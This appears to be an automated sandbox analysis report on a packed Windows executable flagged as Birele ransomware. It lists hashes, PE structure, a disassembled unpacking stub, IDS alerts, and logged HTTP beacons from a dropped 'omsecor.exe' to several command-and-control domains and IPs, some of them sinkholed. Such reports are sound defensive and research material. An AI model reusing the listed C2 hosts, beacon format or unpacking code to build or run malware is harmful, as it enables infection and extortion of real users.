Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....t.P.................p........................@..........................0................... ................................... ..............................................................................<................................MPRESS1.........h.......................MPRESS2.............j...................rsrc........ .......x..............@..............................................................................v2.19 ..g.....E..`.Y.....A.f.7bw. <..k,/...".gD(.t.2...0.!A..J.W.6.W.%h1(............j..U...S.....A..y..& a..h!b.....+h.pV..h..9......X<.K1...^[.D.&...l..p/..\ .{...L..}....).;3l.:33.v..5.sH.....[r&.I......l...[..>.m....<......x...1.q..}.&...R~.rz1..5k.....A...jc..a.6.......r@...n7D/k...(3..?J.a.JK...f....Q.....Lk..z.V...J....Z6...D.o........O....v{...8e....'....W?6}.......8.....CX....9.H..o.h6.y...Z..z!..E#.(..5.....l.h.Y....j t...t._=..&...@y..`.7..^].#no<:4.!

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4229033757993115
Encrypted:	false
SSDEEP:	6144:4cifpi6ceLPL9skLmb0mSSWSPtaJG8nAgex285i2MMhA20X4WABlGuNe5+Koo:ti58SSWIZBk2MM6AFBsoKoo
MD5:	FC2977C1E361D75035216477A5A62FCA
SHA1:	21604D0A222BF32162CF9513ED64421F1F298532
SHA-256:	A68D6763B8BC4E7F2F9BCB6ECF5CD8086780109FB64ABBC956318397C823FD5A
SHA-512:	BB9723833F677C248499D120E0CE90E830913A6C41887695AD75267A6B693E79521EDEB02947A294FDA9D7241F9DAD569BC6320EBC658051675B2CEE12FA3156
Malicious:	false
Preview:	regfG...G....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..Tj8G..............................................................................................................................................................................................................................................................................................................................................d.C^........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Entropy (8bit):	7.9596555927736325
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fmlgbgc2p5.exe
File size:	98'330 bytes
MD5:	809d8bedb2da450b588bf82e9a118fe4
SHA1:	5cb2c9863ddc2ba5346967bf0780554c8dc120f9
SHA256:	8b0613982b6a7f0542a7dbfce43aa216a043ce9a2a2a24a7a2c77a6e8fa6aa72
SHA512:	4768075e7c02683f09e9d23339b5a69724c3439c711244c7761f9ceaf44f7c4a6d8b1189ab47214e4aa4a27e1fad1f07b4be4d3d374c87326611fc68be378287
SSDEEP:	1536:hnAHcBbLmdvduLd8IDiaP/8A68YaiIv2RwEYqlwi+BzdAeV9b5ADbyxxq:hGs8cd8eXlYairZYqMddH13q
TLSH:	95A302CAC93DE0D9F0F9593945AFE54732BCEC17A198173B8BD8256CBD885D80A110F9
File Content Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....y.P.................p........................@..........................0................... ................................... .....................................................

File Icon


Icon Hash:	0305820181422513

Static PE Info

General

Entrypoint:	0x4210a8
Entrypoint Section:	.MPRESS2
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x50AF79C4 [Fri Nov 23 13:27:32 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	850bf254c76e5c8effedc1f08eb6c411

Entrypoint Preview

Instruction
pushad
call 00007F163D54D525h
pop eax
add eax, 00000B5Ah
mov esi, dword ptr [eax]
add esi, eax
sub eax, eax
mov edi, esi
lodsw
shl eax, 0Ch
mov ecx, eax
push eax
lodsd
sub ecx, eax
add esi, ecx
mov ecx, eax
push edi
push ecx
dec ecx
mov al, byte ptr [ecx+edi+06h]
mov byte ptr [ecx+esi], al
jne 00007F163D54D518h
sub eax, eax
lodsb
mov ecx, eax
and cl, FFFFFFF0h
and al, 0Fh
shl ecx, 0Ch
mov ch, al
lodsb
or ecx, eax
push ecx
add cl, ch
mov ebp, FFFFFD00h
shl ebp, cl
pop ecx
pop eax
mov ebx, esp
lea esp, dword ptr [esp+ebp*2-00000E70h]
push ecx
sub ecx, ecx
push ecx
push ecx
mov ecx, esp
push ecx
mov dx, word ptr [edi]
shl edx, 0Ch
push edx
push edi
add ecx, 04h
push ecx
push eax
add ecx, 04h
push esi
push ecx
call 00007F163D54D583h
mov esp, ebx
pop esi
pop edx
sub eax, eax
mov dword ptr [edx+esi], eax
mov ah, 10h
sub edx, eax
sub ecx, ecx
cmp ecx, edx
jnc 00007F163D54D548h
mov ebx, ecx
lodsb
inc ecx
and al, FEh
cmp al, E8h
jne 00007F163D54D514h
inc ebx
add ecx, 04h
lodsd
or eax, eax
js 00007F163D54D528h
cmp eax, edx
jnc 00007F163D54D507h
jmp 00007F163D54D528h
add eax, ebx
js 00007F163D54D501h
add eax, edx
sub eax, ebx
mov dword ptr [esi-04h], eax
jmp 00007F163D54D4F8h
call 00007F163D54D525h
pop edi
add edi, FFFFFF4Dh
mov al, E9h
stosb
mov eax, 00000B56h
stosd
call 00007F163D54D525h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x21000	0xa8	.MPRESS2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x22000	0x798	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2103c	0x10	.MPRESS2
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.MPRESS1	0x1000	0x20000	0x16800	3c05710d8e0f8b2c4b5195d41c97543d	False	1.000390625	data	7.998409371053569	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.MPRESS2	0x21000	0xc12	0xe00	58ed9b290702b61b25d57f2eb0e1ef56	False	0.5131138392857143	data	6.0539393201204925	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x22000	0x798	0x800	08f85d44ed88a96e513482027c080e7c	False	0.34375	data	3.22496295890587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0xd1c0	0x131fc	data	English	United States	1.0004934210526315
RT_ICON	0x220c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512, 16 important colors	English	United States	0.19489247311827956
RT_STRING	0x206a4	0x54	empty	English	United States	0
RT_GROUP_ICON	0x22428	0x14	data	English	United States	1.2
RT_VERSION	0x2247c	0x284	data	English	United States	0.4922360248447205
RT_MANIFEST	0x22740	0x56	ASCII text, with CRLF line terminators	English	United States	1.0232558139534884

Imports

DLL	Import
KERNEL32.DLL	GetModuleHandleA, GetProcAddress
USER32.dll	GetClassNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-05T18:09:13.072527+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	50001	193.166.255.171	80	TCP
2024-12-05T18:09:19.895177+0100	2016998	ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)	1	192.168.2.7	49708	193.166.255.171	80	TCP
2024-12-05T18:09:41.929645+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49708	193.166.255.171	80	TCP
2024-12-05T18:10:04.071060+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49771	193.166.255.171	80	TCP
2024-12-05T18:10:05.646999+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49827	15.197.204.56	80	TCP
2024-12-05T18:10:07.719093+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49833	52.34.198.229	80	TCP
2024-12-05T18:10:07.909220+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	52.34.198.229	80	192.168.2.7	49833	TCP
2024-12-05T18:10:07.909220+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	52.34.198.229	80	192.168.2.7	49833	TCP
2024-12-05T18:10:32.196627+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49844	193.166.255.171	80	TCP
2024-12-05T18:10:54.384861+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49898	193.166.255.171	80	TCP
2024-12-05T18:10:55.730671+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49951	15.197.204.56	80	TCP
2024-12-05T18:10:57.327496+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49955	52.34.198.229	80	TCP
2024-12-05T18:11:21.525774+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49963	193.166.255.171	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 18:09:19.895176888 CET	49708	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:09:20.015081882 CET	80	49708	193.166.255.171	192.168.2.7
Dec 5, 2024 18:09:20.015182972 CET	49708	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:09:20.022612095 CET	49708	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:09:20.142782927 CET	80	49708	193.166.255.171	192.168.2.7
Dec 5, 2024 18:09:41.929482937 CET	80	49708	193.166.255.171	192.168.2.7
Dec 5, 2024 18:09:41.929645061 CET	49708	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:09:41.930557013 CET	49708	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:09:42.043328047 CET	49771	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:09:42.050311089 CET	80	49708	193.166.255.171	192.168.2.7
Dec 5, 2024 18:09:42.163161993 CET	80	49771	193.166.255.171	192.168.2.7
Dec 5, 2024 18:09:42.163412094 CET	49771	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:09:42.163638115 CET	49771	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:09:42.283363104 CET	80	49771	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:04.070904970 CET	80	49771	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:04.071059942 CET	49771	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:04.071096897 CET	49771	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:04.191118002 CET	80	49771	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:04.421276093 CET	49827	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:04.541254997 CET	80	49827	15.197.204.56	192.168.2.7
Dec 5, 2024 18:10:04.541412115 CET	49827	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:04.541574955 CET	49827	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:04.662012100 CET	80	49827	15.197.204.56	192.168.2.7
Dec 5, 2024 18:10:05.646893978 CET	80	49827	15.197.204.56	192.168.2.7
Dec 5, 2024 18:10:05.646998882 CET	49827	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:06.236660957 CET	49833	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:06.356581926 CET	80	49833	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:06.356738091 CET	49833	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:06.357047081 CET	49833	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:06.477431059 CET	80	49833	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:07.718915939 CET	80	49833	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:07.719068050 CET	80	49833	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:07.719093084 CET	49833	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:07.719152927 CET	49833	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:07.789298058 CET	49833	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:07.909219980 CET	80	49833	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:08.695266962 CET	49827	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:10.162571907 CET	49844	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:10.282452106 CET	80	49844	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:10.282543898 CET	49844	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:10.282772064 CET	49844	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:10.402587891 CET	80	49844	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:32.196511984 CET	80	49844	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:32.196626902 CET	49844	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:32.196803093 CET	49844	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:32.316574097 CET	80	49844	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:32.365041971 CET	49898	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:32.485018015 CET	80	49898	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:32.485133886 CET	49898	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:32.546143055 CET	49898	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:32.666019917 CET	80	49898	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:54.384713888 CET	80	49898	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:54.384860992 CET	49898	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:54.384974957 CET	49898	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:54.500397921 CET	49951	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:54.504889011 CET	80	49898	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:54.620868921 CET	80	49951	15.197.204.56	192.168.2.7
Dec 5, 2024 18:10:54.621009111 CET	49951	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:54.621197939 CET	49951	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:54.741923094 CET	80	49951	15.197.204.56	192.168.2.7
Dec 5, 2024 18:10:55.730530977 CET	80	49951	15.197.204.56	192.168.2.7
Dec 5, 2024 18:10:55.730670929 CET	49951	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:55.843384027 CET	49955	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:55.963144064 CET	80	49955	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:55.963241100 CET	49955	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:55.963536978 CET	49955	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:56.086004019 CET	80	49955	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:57.327356100 CET	80	49955	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:57.327496052 CET	49955	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:57.328866005 CET	80	49955	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:57.328933001 CET	49955	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:57.328969002 CET	49955	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:10:57.448900938 CET	80	49955	52.34.198.229	192.168.2.7
Dec 5, 2024 18:10:57.560251951 CET	49951	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:10:59.493081093 CET	49963	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:59.613873005 CET	80	49963	193.166.255.171	192.168.2.7
Dec 5, 2024 18:10:59.614020109 CET	49963	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:59.614279985 CET	49963	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:10:59.734798908 CET	80	49963	193.166.255.171	192.168.2.7
Dec 5, 2024 18:11:21.525563002 CET	80	49963	193.166.255.171	192.168.2.7
Dec 5, 2024 18:11:21.525774002 CET	49963	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:11:21.525877953 CET	49963	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:11:21.637634039 CET	50001	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:11:21.646197081 CET	80	49963	193.166.255.171	192.168.2.7
Dec 5, 2024 18:11:21.757520914 CET	80	50001	193.166.255.171	192.168.2.7
Dec 5, 2024 18:11:21.757687092 CET	50001	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:11:21.757900000 CET	50001	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:11:21.877674103 CET	80	50001	193.166.255.171	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 18:09:19.644263029 CET	63432	53	192.168.2.7	1.1.1.1
Dec 5, 2024 18:09:19.878498077 CET	53	63432	1.1.1.1	192.168.2.7
Dec 5, 2024 18:10:04.185692072 CET	49192	53	192.168.2.7	1.1.1.1
Dec 5, 2024 18:10:04.420393944 CET	53	49192	1.1.1.1	192.168.2.7
Dec 5, 2024 18:10:05.764008999 CET	59605	53	192.168.2.7	1.1.1.1
Dec 5, 2024 18:10:06.235613108 CET	53	59605	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2024 18:09:19.644263029 CET	192.168.2.7	1.1.1.1	0x8d43	Standard query (0)	lousta.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:10:04.185692072 CET	192.168.2.7	1.1.1.1	0x8357	Standard query (0)	mkkuei4kdsz.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:10:05.764008999 CET	192.168.2.7	1.1.1.1	0xdf48	Standard query (0)	ow5dirasuek.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2024 18:09:15.006210089 CET	1.1.1.1	192.168.2.7	0x2eb6	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 18:09:15.006210089 CET	1.1.1.1	192.168.2.7	0x2eb6	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:09:19.878498077 CET	1.1.1.1	192.168.2.7	0x8d43	No error (0)	lousta.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:10:04.420393944 CET	1.1.1.1	192.168.2.7	0x8357	No error (0)	mkkuei4kdsz.com		15.197.204.56	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:10:04.420393944 CET	1.1.1.1	192.168.2.7	0x8357	No error (0)	mkkuei4kdsz.com		3.33.243.145	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:10:06.235613108 CET	1.1.1.1	192.168.2.7	0xdf48	No error (0)	ow5dirasuek.com		52.34.198.229	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lousta.net

mkkuei4kdsz.com

ow5dirasuek.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49708	193.166.255.171	80	7452	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:09:20.022612095 CET	186	OUT	GET /370/988.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49771	193.166.255.171	80	7452	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:09:42.163638115 CET	186	OUT	GET /400/589.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49827	15.197.204.56	80	7452	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:10:04.541574955 CET	191	OUT	GET /931/166.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: mkkuei4kdsz.com Connection: Keep-Alive
Dec 5, 2024 18:10:05.646893978 CET	259	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 05 Dec 2024 17:10:05 GMT Content-Type: text/html Content-Length: 114 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49833	52.34.198.229	80	7452	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:10:06.357047081 CET	191	OUT	GET /612/675.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: ow5dirasuek.com Connection: Keep-Alive
Dec 5, 2024 18:10:07.718915939 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 05 Dec 2024 17:10:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=761ae05900180e6968d7f120981b37d6\|8.46.123.228\|1733418607\|1733418607\|0\|1\|0; path=/; domain=.ow5dirasuek.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49844	193.166.255.171	80	396	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:10:10.282772064 CET	186	OUT	GET /206/582.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49898	193.166.255.171	80	396	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:10:32.546143055 CET	186	OUT	GET /861/856.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49951	15.197.204.56	80	396	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:10:54.621197939 CET	191	OUT	GET /441/819.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: mkkuei4kdsz.com Connection: Keep-Alive
Dec 5, 2024 18:10:55.730530977 CET	259	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 05 Dec 2024 17:10:55 GMT Content-Type: text/html Content-Length: 114 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49955	52.34.198.229	80	396	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:10:55.963536978 CET	298	OUT	GET /358/336.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: ow5dirasuek.com Connection: Keep-Alive Cookie: snkz=8.46.123.228; btst=761ae05900180e6968d7f120981b37d6\|8.46.123.228\|1733418607\|1733418607\|0\|1\|0
Dec 5, 2024 18:10:57.327356100 CET	338	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 05 Dec 2024 17:10:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=761ae05900180e6968d7f120981b37d6\|8.46.123.228\|1733418657\|1733418607\|25\|2\|0; path=/; domain=.ow5dirasuek.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49963	193.166.255.171	80	7296	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:10:59.614279985 CET	186	OUT	GET /349/212.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50001	193.166.255.171	80	7296	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:11:21.757900000 CET	186	OUT	GET /952/351.html HTTP/1.1 From: 133778921561632797 Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148 Host: lousta.net Connection: Keep-Alive

Target ID:	0
Start time:	12:09:15
Start date:	05/12/2024
Path:	C:\Users\user\Desktop\fmlgbgc2p5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fmlgbgc2p5.exe"
Imagebase:	0x400000
File size:	98'330 bytes
MD5 hash:	809D8BEDB2DA450B588BF82E9A118FE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:09:16
Start date:	05/12/2024
